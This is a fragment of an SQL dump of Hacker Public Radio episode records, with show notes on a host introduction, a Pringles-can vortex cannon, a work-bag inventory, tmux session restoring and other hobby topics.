role=\"doc-backlink\">↩︎</a></p></li>\n</ol>\n</section>\n</article>\n',225,11,1,'CC-BY-SA','directory,folder,change directory,cd,zoxide,autojump',0,0,1),
(3866,'2023-05-29','Introducing myself',343,'I discovered HPR at FOSDEM 2023 and want to join the party','<p>Hello, my name is Andr&#xE9; Jaenisch. You can find myself online under\nRyuno-Ki as well.</p>\n<p>This is my first episode on Hacker Public Radio!<br />\nIt is recorded on 8th May 2023 using Audacity.<br />\nIt is published under a Creative Commons Attribution Share-Alike 4.0\nInternational License.</p>\n<p>Today I want to introduce myself.<br />\nI\'m a web developer for ten years now and recently turned into a\nfreelancer.<br />\nMy area of expertise is with Frontend technologies, although I also know\nNode.js and Python. I taught myself these languages because my studies\nin mathematics did not cover them.<br />\nDuring my studies I switched to GNU/Linux. I started with Ubuntu but\ndiscovered that I prefer Rolling Release distributions more. So I jumped\nto Sabayon Linux which was based on Gentoo back then but pre-compiled\nthe binaries while staying compatible. Now they decided to turn into\nanother direction so I was looking for another home. I tried Gecko Linux\nbased on openSUSE for a while until they had bad news in the press. I\'m\ncurrently running Kaisen Linux which is based on Debian Bookworm.</p>\n<p>Speaking of, I love to read. I have whole shelves filled with books\nhere.<br />\nThere is so much to learn from books even in the age of the Internet. I\nenjoy that they have a finite amount of content you can walk\nthrough.</p>\n<p>I learned about Hacker Public Radio at FOSDEM 2023. When I mentioned\nthat I have a RODE NT-USB microphone at home already I was encouraged to\ncontribute to the show. Now I have been listening to the podcast since\nthe beginning of the year and already heard some of the emergency shows.\nI noticed that the hackers on the show are mainly from the United\nStates. I hope you welcome people from other parts of the world as\nwell.</p>\n<p>I\'m from Germany in Europe. A beautiful place to live and I bet as\ndiverse as in the States when it comes to the landscape. We have more\nthan Berlin and Bavaria here!</p>\n<p>I\'m not quite sure what kind of content you would love to hear about.\nI have the requested topics page in front of me and could talk about\ndifferent items. For example, my first smartphone ever was a Firefox OS\n(I still have it. As well as a tablet).<br />\nI switched to Android with F-Droid when Mozilla was cancelling the\nproject. I\'m running on a Fairphone here, which is a small Dutch\nmanufacturer that already managed to move the whole industry into a more\nsustainable direction. Because we produce lots of waste. So I could talk\nabout that.</p>\n<p>Or I could talk about building things for the web. Usually I blog\nabout that because I feel like text feels more natural to it. But then I\nsaw that some episodes contained code snippets in the show notes.</p>\n<p>I could talk about mathematics. We don\'t have enough podcasts about\nmath! My focus was on statistics and numerics so that might be\ninteresting?</p>\n<p>What I would love to hear more about is music theory. You see I\nhaven\'t learned to play an instrument in my life. Mainly because those\nare expensive. My personal taste goes more into heavy metal but I\'m not\nsure whether you would call me a fan. What does make a metalhead anyway?\nBut in order to improve my game development having some sort of music\nand sound effects is important. So I was really enjoying the episode\n3792 on reading music sheets. I lend some books on the library to learn\nmore. These subjects weren\'t covered in depth in my school days!</p>\n<p>Another subject I would like to learn more about is electronics.\nEspecially repairing one\'s computers. Look, I\'m using ThinkPads since\nyears now. I have a X250 (from FOSDEM) in current use. But I also have a\nX200 and a T520 gathering dust here. Mainly because something &#x201E;broke&#x201D;\nwith the hardware and I\'m too afraid to crack them open.<br />\nThen there\'s a HP Pavilion standing under my desk to wait for repair.\nAnd even one of the old machines from the DOS era with an original\nLemmings installed! But I have no idea how to refurbish them into a\nbootable state. Do you have ideas?</p>\n<p>I\'m sharing <a href=\"https://jaenis.ch/\">my homepage</a> as well as\n<a href=\"mailto:andre.jaenisch.wdc@posteo.net\">my e-mail address</a> in\nthe show notes. I would really love to hear back from you.</p>\n<p>I feel like I already touched on different ideas today, but looking\nat the time the recording is rather short. Personally I can tune into\nepisodes up to 30 minutes best, so I will try to respect this threshold\nmyself.</p>\n',419,0,0,'CC-BY-SA','introduction',0,0,1),
(3837,'2023-04-18','Make a vortex cannon',448,'How to make a vortex cannon which can extinguish a candle at about ten feet','<h2>Make a Vortex Cannon.</h2>\n\n<p>This is a device for firing a coherent torus-shaped vortex across a room.  If it is made with a degree of care, it will extinguish the flame of a candle from some distance.</p>\n\n<h3>What you will need</h3>\n\n<ol>\n<li>An empty Pringles can.  This is the cylindrical foil-lined cardboard tube which originally contained Pringles potato chips.</li>\n<li>A party balloon.</li>\n<li>Some strong parcel tape.</li>\n<li>A hole punch capable of making a clean hole of about two centimetres (three quarters of an inch) in diameter.</li>\n<li>A small drill.</li>\n</ol>\n\n<h3>What to do</h3>\n\n<h4>Step 1:</h4>\n\n<p>Drill a small hole in the metal end-plate of the Pringles can.  This hole needs to be large enough to accommodate the threaded portion of the hole punch.</p>\n\n<p>The hole needs to be as close to the exact dead-centre of the plate as you can make it.</p>\n\n<p>Use the hole punch to make as clean as possible a hole as accurately as possible.</p>\n\n<p>Here in the UK it is possible to obtain a hole punch called a Q-Max punch from Maplin, the supplier of electronic and hobby parts.</p>\n\n<p>I am sure they are available from other sources.</p>\n\n<p>It is very important that this hole is:</p>\n\n<ul>\n<li>As close to the centre of the end-plate as is humanly possible</li>\n<li>Has edges which are clean and crisp.  Hence the use of a hole punch.</li>\n</ul>\n\n<p>It is these two factors more than any other that will effect the efficiency of the cannon.</p>\n\n<h4>Step 2:</h4>\n\n<p>Cut off the mouth-piece end of the balloon.</p>\n\n<p>Stretch it over the open end of the Pringles can and pull it as tight over the end as you can.</p>\n\n<p>When I say the open end I mean the end from which you removed the lid and chomped on the chips.</p>\n\n<p>Use the parcel tape to wrap the balloon tightly around the circumference of the cylinder, anchoring it in position so that the open end of the can is now like a drum formed by the stretchy membrane of the balloon.  Nice and tight.</p>\n\n<p>The cannon is now ready to fire.</p>\n\n<h3>Firing the cannon</h3>\n\n<p>Pinch the centre of the balloon membrane and pull it back as far as you can.  This might be easier if you push some kind of (blunt ended) rod into the can from the hole end and push out the membrane until you can pinch it.</p>\n\n<p>Some other stretchy latex device which has a little bulb at the end might be easier to get hold of, but I can\'t think of such an item, can you?</p>\n\n<p>When you let go of the membrane with it stretched out as far as you can go, what happens?</p>\n\n<p>Well, if you made the small circular hole at the metal-plate end of the cylinder nice and clean and central, the cannon fires a coherent vortex of air.</p>\n\n<p>What do I mean by a \'vortex\'?</p>\n\n<p>Imagin a ring doughnut compromised of air shooting out of the end of the tube like a smoke ring out of a Hobbit.</p>\n\n<p>The vortex is spinning.  Not like the bullet fired from a rifled barrel, but as if it is constantly trying to turn itself inside-out.</p>\n\n<p>This spinning keeps the torus (this is what the shape of a ring doughnut is called) coherent and intact for several feet.</p>\n\n<p>If you made the hole in the metal plate end of the tube nice and clean, and you stretched the balloon membrane out as far as you possibly can, the cannon is capable of blowing out the flame of a candle at about ten feet (three metres) in the still air in a room.</p>\n\n<p>As soon as it leaves the cannon, the vortex will begin to degrade and fall apart.</p>\n\n<p>A word of warning</p>\n\n<p>This little toy might only be firing a torus of air, but do not be tempted to shoot yourself or the cat in the face at point blank range.  It hurts.</p>\n\n<p>Mike</p>\n\n',282,0,0,'CC-BY-SA','vortex cannon, make, torus',0,0,1),
(3838,'2023-04-19','Biking to Work',772,'EMERGENCY SHOW: Jon Kulp records an episode while riding his bicycle to work','<h2 id=\"biking-to-work\">Biking to Work</h2>\n<p>In this episode I record while I\'m riding my bicycle to work, using my new audio adapter to plug my $2 microphone into my phone. To make the recording I used the Hi-Q mp3 recorder app on my Android device. In the end I didn\'t do anything in post-production to adjust the volume or compression of the audio. It turned out pretty well &quot;as is.&quot;</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>SuperWhole 3.5mm 1/8&quot; Earphone Headset + Microphone Adapter to Stereo Audio Male: <a href=\"http://www.amazon.com/gp/product/B0114AB0QW\">on Amazon</a></li>\n<li><a href=\"http://www.hiqrecorder.com/\">HI-Q mp3 Voice Recorder</a></li>\n</ul>\n<h2 id=\"credits\">Credits</h2>\n<p>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"http://www.opengoldbergvariations.org/\">http://www.opengoldbergvariations.org</a>, used by permission of their <a href=\"http://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</p>\n',238,0,0,'CC-BY-SA','HighQ MP3, Bike, ZOOM Recorder.',0,0,1),
(3842,'2023-04-25','What’s in my bag series',1923,'In this episode I go through the contents of the bag I take to work.','<h1 id=\"introduction\">Introduction</h1>\n<p>A time stamp is added for each item I mention. The time stamp given\ndoes not include the intro added by HPR so you&#x2019;ll need to add a few more\nseconds to get to the the correct spot in the recording.</p>\n<p>[1:20] - I mention that if you are struggling to think of a topic for\nan HPR show then the HPR site contains a list of requested topics which\nyou can choose from. <a\nhref=\"https://hackerpublicradio.org/requested_topics.php\"\nclass=\"uri\">https://hackerpublicradio.org/requested_topics.php</a></p>\n<p>[1:55] - Picture 01 show the &#x201C;Wenger&#x201D; rucksack (Backpack) I take to\nwork. It was purchased many years ago and is probably no longer\navailable.</p>\n<p><strong>Picture 1</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/01.jpeg\"\nalt=\"Picture 1: &#x201C;Wenger&#x201D; rucksack\" /></p>\n<h1 id=\"first-front-zip-section\">First front zip section</h1>\n<p>[3:20] - I mention that I suffered for many years with Hay fever and\nhave had great success with Mixed Pollen 30C tablets which I bought on\nAmazon. Unknown to me at the time these were Homeopathic with miniscule\nconcentration. Despite this they seems to have cured my Hay fever. Refer\nto the links below.</p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Homeopathic_dilutions\">Wikipedia\narticle on Homeopathic dilutions</a></p>\n<p><a\nhref=\"https://www.amazon.co.uk/Weleda-Mixed-Pollen-30-Tablets/dp/B002E2HUFK/ref=sr_1_2?crid=34E5ONM7GAB4V&amp;keywords=weleda+mixed+pollen&amp;qid=1673367417&amp;s=drugstore&amp;sprefix=weleda+mixed+pollen%2Cdrugstore%2C81&amp;sr=1-2\">Amazon\nlink to Weleda Mixed Pollen 30C Tablets</a></p>\n<p>[4:20] - Link to some unremarkable Iphone headphones I use which I\nbought from Amazon. Strangely they seem to constantly fall out of my\nleft ear but remain in my right ear.</p>\n<p><a\nhref=\"https://www.amazon.co.uk/gp/product/B08TQPX2CF/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;psc=1\">UGREEN\nHiTune Lightning Headphones MFi Certified In Ear Headphones with\nLightning Plug Wired Earbuds Mic In-Line Control for iPhone Compatible\nwith iPhone</a></p>\n<p>[4:43] - <a\nhref=\"https://www.decathlon.co.uk/p/hand-warmer-x10/_/R-p-161196\">Wedze\nHand warmers, link from Decathlon.</a></p>\n<h1 id=\"first-main-compartment\">First main compartment</h1>\n<p>[5:40] - Picture 02 shows the leather pouch pocket protector that I\nused to carry coins. I no longer have a use for it as I no longer carry\nchange. Despite this for some reason I still continue to carry it back\nand forward to work.</p>\n<p><strong>Picture 2</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/02.jpeg\"\nalt=\"Picture 2: leather pouch pocket protector\" /></p>\n<p>[6:25] - Pictures 03 and 04 show the Essentials fold back clips 19mm\nI use on a daily basis to organise bundles of paperwork.</p>\n<p><strong>Picture 3</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/03.jpeg\"\nalt=\"Picture 3: Essentials clips\" /></p>\n<p><strong>Picture 4</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/04.jpeg\"\nalt=\"Picture 4: Essentials clips\" /></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Bulldog_clip\">Wikipedia link\nto article about Bulldog clips which are not exactly the same item but\nserve the same purpose.</a></p>\n<p>[7:50] - Picture 05 shows the rubber (Eraser) I purchased from the\nNew Lanark Village Store. The proceeds go to the RNLI (Royal National\nLifeboat Institution).</p>\n<p><strong>Picture 5</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/05.jpeg\"\nalt=\"Picture 5: eraser\" /></p>\n<p><a href=\"https://en.wikipedia.org/wiki/New_Lanark\">Wikipedia article\nabout the New Lanark Village</a><br />\n<a\nhref=\"https://www.newlanark.org/your-visit/what-to-see/97-village-store\">Link\nto New Lanark Village Store</a><br />\n<a\nhref=\"https://en.wikipedia.org/wiki/Royal_National_Lifeboat_Institution_lifeboats\">Wikipedia\narticle about the RNLI (Royal National Lifeboat Institution)</a></p>\n<p>[8:50] - I mention a plastic bag clip &#x2013; 08:50. <a\nhref=\"https://www.amazon.co.uk/Bag-Clips-Food-Storage-Assorted/dp/B092R2VN52/ref=sr_1_31?crid=2L2OIOC08Z1E1&amp;keywords=clips&amp;qid=1673792003&amp;sprefix=clips%2Caps%2C127&amp;sr=8-31&amp;th=1\">Link\nto similar plastic bag clip on Amazon</a></p>\n<p>[8:55] - I mention a rubber band. <a\nhref=\"https://en.wikipedia.org/wiki/Rubber_band\">Link to rubber band\narticle on Wikipedia</a></p>\n<p>[9:10] - I mention a silica gel pouch I found in my work bag. Refer\nto picture 06.<br />\n<a href=\"https://en.wikipedia.org/wiki/Silica_gel\">Link to Silica Gel\narticle on Wikipedia.</a></p>\n<p><strong>Picture 6</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/06.jpeg\"\nalt=\"Picture 6: silica gel pouch\" /></p>\n<p>[9:40] - I mention a squishy ear defender. Refer to picture 07 <a\nhref=\"https://en.wikipedia.org/wiki/Earplug\">Link to Wikipedia article\nabout ear plugs</a></p>\n<p><strong>Picture 7</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/07.jpeg\"\nalt=\"Picture 7: ear defenders\" /></p>\n<p>[10:20] - I mention that I carry Ain Stein 0.7 HB Pencil lead in my\nbag. <a\nhref=\"https://www.amazon.co.uk/gp/product/B005I4ESPG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&amp;th=1\">Link\nto Ain Stein 0.7mm HB Pentel pencil leads on Amazon.</a></p>\n<p>[10:50] &#x2013; I mention that I carry a four colour Bic pen. <a\nhref=\"https://www.amazon.co.uk/Colours-Original-Ballpoint-Medium-Point/dp/B0006SVBO0/ref=sr_1_20?crid=1258A0SDJBLLR&amp;keywords=big%2B4%2Bcolour%2Bpens&amp;qid=1673987433&amp;s=officeproduct&amp;sprefix=big%2B4%2B%2Coffice-products%2C107&amp;sr=1-20&amp;th=1\">Amazon\nlink to Bic four coloured pen</a></p>\n<p>[11:05] &#x2013; I mention that I carry a Pentel P207 propelling pencil and\nthat this is my favourite writing implement. <a\nhref=\"https://www.amazon.co.uk/Pentel-Automatic-Mechanical-Pencil-0-7/dp/B004PTORHO/ref=sr_1_6?crid=2RYTD7NQLVCWJ&amp;keywords=pentel%2Bp207&amp;qid=1673987646&amp;s=officeproduct&amp;sprefix=Pentel%2Bp%2Coffice-products%2C108&amp;sr=1-6&amp;th=1\">Amazon\nlink to Pentel P207 propelling pencil, they also offer other models with\ndifferent thicknesses of lead.</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Pentel\">Wikipedia article\nabout the Pentel company</a></p>\n<p>[13:20] &#x2013; I mention that I carry black and white Eding 780 paint\nmarker pens. <a\nhref=\"https://www.amazon.co.uk/Edding-Fine-Bullet-Paintmarker-Pack/dp/B0031QPNWU/ref=sr_1_6_mod_primary_new?crid=ECWAF6FOD8AA&amp;keywords=edding+780&amp;qid=1673987961&amp;s=officeproduct&amp;sbo=RZvfv%2F%2FHxDF%2BO5021pAnSA%3D%3D&amp;sprefix=eding+%2Coffice-products%2C103&amp;sr=1-6\">Amazon\nlink to Eding 780 paint marker pens.</a></p>\n<p>[13:50] &#x2013; I mention that I carry a Southord C801 Lock picking set\nwhich I was given as a birthday present one year. <a\nhref=\"https://www.amazon.co.uk/C801-SouthOrd-Piece-Lock-Pick/dp/B000NW4EL6/ref=sr_1_5?keywords=southord+c801&amp;qid=1673988097&amp;sr=8-5\">Amazon\nlink to Southord C801 Lock picking set</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Lock_picking\">Wikipedia\narticle about lock picking</a></p>\n<p>[15:35] - I mention that it is generally very easy to pick a\ncombination lock. <a\nhref=\"https://www.youtube.com/watch?v=ABKsUNitXqw\">Link to YouTube video\nexplaining how to pick a combination lock</a></p>\n<p>[16:45] I mention I had some documentation bout the Python function\nurllib.request. I was using this function to scrape text from the HPR\nsite. <a href=\"https://hackerpublicradio.org/eps.php?id=2340\">I cover\nhow I used it in my previous HPR episode HPR 2340.</a> <a\nhref=\"https://docs.python.org/3/library/urllib.request.html\">Link to\nPython documentation about urllib.request</a></p>\n<p>[17:10] I mention that I have some red coloured spot stickers that I\nhave many uses for one of which is to make it easy to see at a glance if\nthe switch that operates an outside light is turned on as without this\nit is not possible without stepping outside to check. Refer to picture\n08.</p>\n<p><strong>Picture 8</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/08.jpeg\"\nalt=\"Picture 8: red coloured spot stickers\" /></p>\n<h1 id=\"second-main-compartment\">Second main compartment</h1>\n<p>[18:20] I have a Morgan foldable brolly which I occasionally use when\ncaught in the rain. Refer to picture 09</p>\n<p><strong>Picture 9</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/09.jpeg\"\nalt=\"Picture 9: foldable umbrella\" /></p>\n<p>[18:30] I have a pair of foldable military ear defenders. I picked\nthem up while I was at an air show I think at Ingliston many years ago.\nRefer to pictures 10 and 11</p>\n<p><strong>Picture 10</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/10.jpeg\"\nalt=\"Picture 10: ear defenders\" /></p>\n<p><strong>Picture 11</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/11.jpeg\"\nalt=\"Picture 11: ear defenders\" /></p>\n<h1 id=\"third-compartment-containing-a-pile-of-keech\">Third compartment\ncontaining a pile of keech</h1>\n<p>[19:30] I mention the Scottish word Keech. <a\nhref=\"https://stooryduster.co.uk/scottish-word/keech/\">Definition of the\nScottish word Keech.</a></p>\n<p>[20:25] I found an old Unite Magazine from 2019 in my bag. <a\nhref=\"https://en.wikipedia.org/wiki/Unite_the_Union\">A Wikipedia article\nabout the Unite Union</a></p>\n<p>[20:30] I mention I found on old article from 2006 about the\npossibility of a bird flu epidemic and how to protect yourself should it\nhappen.</p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Influenza_A_virus_subtype_H5N1\">Wikipedia\narticle about Avian influenza H5N1 commonly known as bird flu</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/New_Scientist\">Wikipedia\narticle about the magazine New Scientist</a></p>\n<p>[22:15] I mention that found a letter from my company with a\ndesignated worker heading. If required this letter was to allow me to\ndrive to work at the height of the COVID-19 pandemic. I do remember\nhaving to do this at least once and that the roads were deserted like\nsome post apocalyptic scene from a movie. Despite this I never needed to\nshow the letter to anyone.</p>\n<p>[22:55] I talk about a sketch I made a number of years ago for a\ntimber post. I was told this was needed in order to place a charging\npoint midway up my driveway. This was needed for an electric car I was\nthinking of buying. I ended up abandoning the idea as it all got too\ncomplicated. I believe things have since improved and I now wish I&#x2019;d\nbought the car is it actually went up in value!</p>\n<p>[24:00] I briefly mention a piece of paper entitled disk tidy that\ncontained various Linux commands. I think this was a number of Ideas I\nwanted to try out to tease out which directories were taking up the most\nspace on a hard drive I had. These days I either use the du command or\nsometimes ncurses command ncdu.</p>\n<p>[24:30] I talk about a pile of old documents I came across that may\nhave copyright issues so I won&#x2019;t include them in the show notes. However\nI&#x2019;ll include the following related links</p>\n<p>[24:40] The first document I found was from the from many years ago\nwith a foot note saying it was from the UN Population Division UNDE SA\nOxfam World Centre WWF giving various stats about global population,\nresource usage and carbon emissions <a\nhref=\"https://www.un.org/development/desa/pd/\">Link to UN Population\nDivision</a></p>\n<p><a\nhref=\"https://www.un.org/youthenvoy/2013/09/undesa-youth-focal-point/\">Link\nto UN DESA (Department of Economic and Social Affairs)</a></p>\n<p><a href=\"Oxfam%20https://en.wikipedia.org/wiki/Oxfam\">Wikipedia\narticle about</a></p>\n<p>[26:00] I came across an old illustration from the BBC I think from\naround 2012 which had two graphs from the UK showing the vast number of\nstaff working in the DWP (Department of Work and Pensions) to recover a\npotential small amount of fraud in the UK benefits system and comparing\nthis to the tiny number of staff they had working in the UK\'s HMRC (HM\nRevenue and Customs) that could have recovered a potentially vast amount\nof tax evasion fraud. <a\nhref=\"https://en.wikipedia.org/wiki/BBC\">Wikipedia article about the BBC\n- British Broadcasting corporation</a></p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/Department_for_Work_and_Pensions\">Wikipedia\narticle about the DWP - Department for Work and Pensions</a></p>\n<p><a\nhref=\"https://en.wikipedia.org/wiki/HM_Revenue_and_Customs\">Wikipedia\narticle about the HMRC - HM Revenue and Customs</a></p>\n<p>[27:45] I briefly mention a paper I found that mentioned peak oil. I\nfeel this is now less of a problem as there is more than enough left in\nthe ground to fry humanity. <a\nhref=\"https://en.wikipedia.org/wiki/Peak_oil\">Link to Wikipedia article\nabout peak oil.</a></p>\n<p>[27:45] I mention a Breadboard layout I found which I created to use\nwith a Digital IO add on board on one of my raspberry pi&#x2019;s. <a\nhref=\"https://archive.org/details/hpr2901?webamp=default\">Refer to my\nprevious HPR show 2901</a> <a\nhref=\"https://en.wikipedia.org/wiki/Breadboard\">Wikipedia article about\nBreadboards</a></p>\n<h1 id=\"last-compartment-of-bag-main-area\">Last compartment of bag &#x2013;\nmain area</h1>\n<p>[28:50] I mention that I carry a bottle of water to work. The bottle\nis a stainless steel water bottle that is double walled vacuum\ninsulated. It can hold &#x200E;500 Millilitres of liquid. It claims to be able\nto keep liquids cool for 24 Hours. I\'ve been very impressed with it as\nit seems to be able to keep the water cool for the whole day I am at\nwork. <a\nhref=\"https://www.amazon.co.uk/SHO-Bottle-Ultimate-Insulated-Stainless/dp/B07HVXJ16Y/ref=sr_1_1_sspa?crid=32TUHWPAC52JX&amp;keywords=water%2Bbottles%2Bsho&amp;qid=1681055737&amp;sprefix=water%2Bbottles%2BSHO%2Caps%2C106&amp;sr=8-1-spons&amp;sp_csd=d2lkZ2V0TmFtZT1zcF9hdGY&amp;th=1&amp;psc=1\">Amazon\nlink to water bottle</a></p>\n<p>[29:00] I mention that I carry a roll of masking tape. This comes in\nhandy for all sorts of situations. Often to create ad-hoc labels for <a\nhref=\"https://en.wikipedia.org/wiki/Masking_tape\">things. Wikipedia\narticle about masking tape</a></p>\n<p>[29:05] I mention that the skin on my hands can get very dry\nespecially when I&#x2019;m at the office due to it having low humidity. I use\nNutrogena hand cream to combat this. <a\nhref=\"https://www.amazon.co.uk/Neutrogena-Norwegian-Formula-Unscented-Cream/dp/B0006SQ9CE/ref=sr_1_1_sspa?crid=1LPK7XUM1RT4S&amp;keywords=neutrogena+hand+cream&amp;qid=1675533812&amp;rdc=1&amp;sprefix=neutrogena+han%2Caps%2C85&amp;sr=8-1-spons&amp;sp_csd=d2lkZ2V0TmFtZT1zcF9hdGY&amp;psc=1\">Amazon\nlink to Nutrogena hand cream</a></p>\n<p>[29:42] I mention that I carry a stapler which comes in handy from\ntime to time. Refer to picture 12. <a\nhref=\"https://en.wikipedia.org/wiki/Stapler\">Wikipedia article about\nstaplers</a></p>\n<p><strong>Picture 12</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/12.jpeg\"\nalt=\"Picture 12: stapler\" /></p>\n<p>[29:50] I mention that I carry magnifying glass as my eyesight is not\nas good as it used to be. <a\nhref=\"https://en.wikipedia.org/wiki/Magnifying_glass\">Wikipedia article\nabout magnifying glasses</a></p>\n<p>[29:55] I mention that I also carry a pencil case to work. <a\nhref=\"https://en.wikipedia.org/wiki/Pencil_case\">Wikipedia article about\nthe pencil case</a></p>\n<p>[30:09] I found a Caramel Wacko chocolate bar biscuit in the bag I\ntake to work (Refer to picture 13). These are available from from Aldi.\nAldi is discount food store in the UK. <a\nhref=\"https://en.wikipedia.org/wiki/Aldi\">Wikipedia article about\nAldi</a></p>\n<p><strong>Picture 13</strong><br />\n<img src=\"https://hackerpublicradio.org/eps/hpr3842/13.jpeg\"\nalt=\"Picture 13: Caramel Wacko chocolate bar\" /></p>\n',201,23,1,'CC-BY-SA','Bag, Work',0,0,1),
(3843,'2023-04-26','LinuxLUGCast pre-show ramblings',4348,'Lugcast participants ramble about things before the podcast','<p>I first want to apologize for my crappy show notes.</p>\n<p>That out of the way. Welcome to LinuxLUGCast episode 217 the\npre-show. Normally this gets tacked on to the end of the regular\npodcast, but Ken put out a call for shows and we figured this was the\neasiest way to get a show out. I was going to try to meet up with these\nsame people on Mumble and talk about something technical for HPR, but\nlet\'s be honest the conversation would probably still have turned into\nTV and movies, and we were already together and recording. Plus\nhopefully I can use this to convince other people to come and join the\nLugcast. We record every first and third Friday of the month using\nmumble. Check out linuxlugcast.com for all the details.</p>\n',269,0,1,'CC-BY-SA','linux,movies,TV,LUG',0,0,1),
(3845,'2023-04-28','Using tmux, the terminal multiplexer Overview',707,'Archer72 uses tmux and restores sessions between reboots','<p>Using tmux, the terminal multiplexer on multiple machines</p>\n<ul>\n<li>Terminal is ROXTerm</li>\n<li>Uncheck \'Show Menubar\'</li>\n</ul>\n<p><a href=\"https://realh.github.io/roxterm/en/index.html\"\ntitle=\"ROXTerm on Github\">ROXTerm on Github</a></p>\n<p>What is Tmux?</p>\n<p><a href=\"https://github.com/tmux/tmux/wiki\"\ntitle=\"Tmux wiki on Github\">Tmux wiki on Github</a></p>\n<p>Getting started</p>\n<p><a href=\"https://github.com/tmux/tmux/wiki/Getting-Started\"\ntitle=\"Tmux Getting Started page on Github\">Tmux Getting Started page on\nGithub</a></p>\n<p>Tmux Cheat Sheet &amp; Quick Reference</p>\n<p><a href=\"https://tmuxcheatsheet.com\" title=\"Tmux Cheat Sheet\">Tmux\nCheat Sheet</a></p>\n<p>Basic .tmux.conf</p>\n<pre><code>set -g prefix C-a\nunbind C-b\nbind C-a send-prefix\nsetw -g window-status-activity-style &quot;fg=colour27,bg=colour234,none&quot;</code></pre>\n<p>Remote .tmux.conf</p>\n<pre><code>set -g prefix C-f\nunbind C-b\nbind C-f send-prefix\nsetw -g window-status-activity-style &quot;fg=colour27,bg=colour234,none&quot;</code></pre>\n<p>Start tmux</p>\n<pre><code>tmux a -d</code></pre>\n<ul>\n<li>Split pane horizontal - Prefix + %</li>\n<li>Split pane vertical - Prefix + \"</li>\n</ul>\n<p>Tmux resurrect</p>\n<p>Key bindings</p>\n<pre><code>    prefix + Ctrl-s - save\n    prefix + Ctrl-r - restore</code></pre>\n<p>About</p>\n<p>This plugin goes to great lengths to save and restore all the details\nfrom your tmux environment. Here\'s what\'s been taken care of:</p>\n<ul>\n<li>all sessions, windows, panes and their order</li>\n<li>current working directory for each pane</li>\n<li>exact pane layouts within windows (even when zoomed)</li>\n<li>active and alternative session</li>\n<li>active and alternative window for each session</li>\n<li>windows with focus</li>\n<li>active pane for each window</li>\n<li>\"grouped sessions\" (useful feature when using tmux with multiple\nmonitors)</li>\n<li>programs running within a pane! More details in the restoring\nprograms doc.</li>\n</ul>\n<p>Optional:</p>\n<ul>\n<li>restoring vim and neovim sessions</li>\n<li>restoring pane contents</li>\n<li>restoring a previously saved environment</li>\n</ul>\n<p>Installing TPM (Tmux Plugin Manager) , Tmux Resurrect and Tmux\nContinuum</p>\n<ul>\n<li>In ~/.tmux/plugins/</li>\n</ul>\n<pre><code>git clone https://github.com/tmux-plugins/tpm.git\ngit clone https://github.com/tmux-plugins/tmux-resurrect.git\ngit clone https://github.com/tmux-plugins/tmux-continuum.git</code></pre>\n<ul>\n<li>In a tmux window</li>\n</ul>\n<pre><code>prefix + I</code></pre>\n<ul>\n<li><p>Installs new plugins from GitHub or any other git\nrepository</p></li>\n<li><p>Refreshes TMUX environment</p></li>\n<li><p>Create a directory ~/.tmux/resurrect/</p>\n<ul>\n<li>This is where tmux-resurrect and tmux-continuum saves are\nlocated</li>\n<li>Do nothing and tmux-continuum saves automatically every 15 mins</li>\n<li>At any time use <code>Prefix + Ctrl-s</code> to save a snapshot of\nyour session</li>\n<li>To restore a session to the last save before a reboot\n<ul>\n<li>use <code>Prefix + Ctrl-s</code></li>\n</ul></li>\n</ul></li>\n</ul>\n<p>Here are the steps to restore to a previous point in time:</p>\n<ul>\n<li>make sure you start this with a \"fresh\" tmux instance</li>\n<li>$ cd <code>~/.tmux/resurrect/</code></li>\n<li>locate the save file you\'d like to use for restore (file names have\na stamp)</li>\n<li>symlink the last file to the desired save file: $\n<code>ln -sf &lt;file_name&gt; last</code></li>\n<li>do a restore with tmux-resurrect key:\n<code>Prefix + Ctrl-r</code></li>\n</ul>\n<p>Tmux on laptop</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3845/tmux_laptop.conf\"\ntitle=\"Tmux local configuration file\">tmux_laptop.conf</a></p>\n<p>Tmux on remote machine</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3845/tmux_remote.conf\"\ntitle=\"Tmux remote configuration file\">tmux_remote.conf</a></p>\n<p>Screenshot</p>\n<p><a\nhref=\"https://hackerpublicradio.org/eps/hpr3845/Screenshot.png\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3845/Screenshot_tn.png\"\ntitle=\"Screenshot of Tmux window with 4 panes\"\nalt=\"Screenshot\" /></a></p>\n',318,11,0,'CC-BY-SA','tmux, terminal apps, lightweight apps',0,0,1),
(3847,'2023-05-02','All about Synchrotrons',50,'Beginning of a series on Synchrotrons','<p>I moved cities a few years ago to start work at the Australian\nSynchrotron. While I\'m always going to be a software engineer, and I\'m\nnever going to be on top of all the science aspects of a synchrotron, I\nprobably now know enough to be able to put together a series all about\nsynchrotrons.</p>\n',315,0,0,'CC-BY-SA','science',0,0,1),
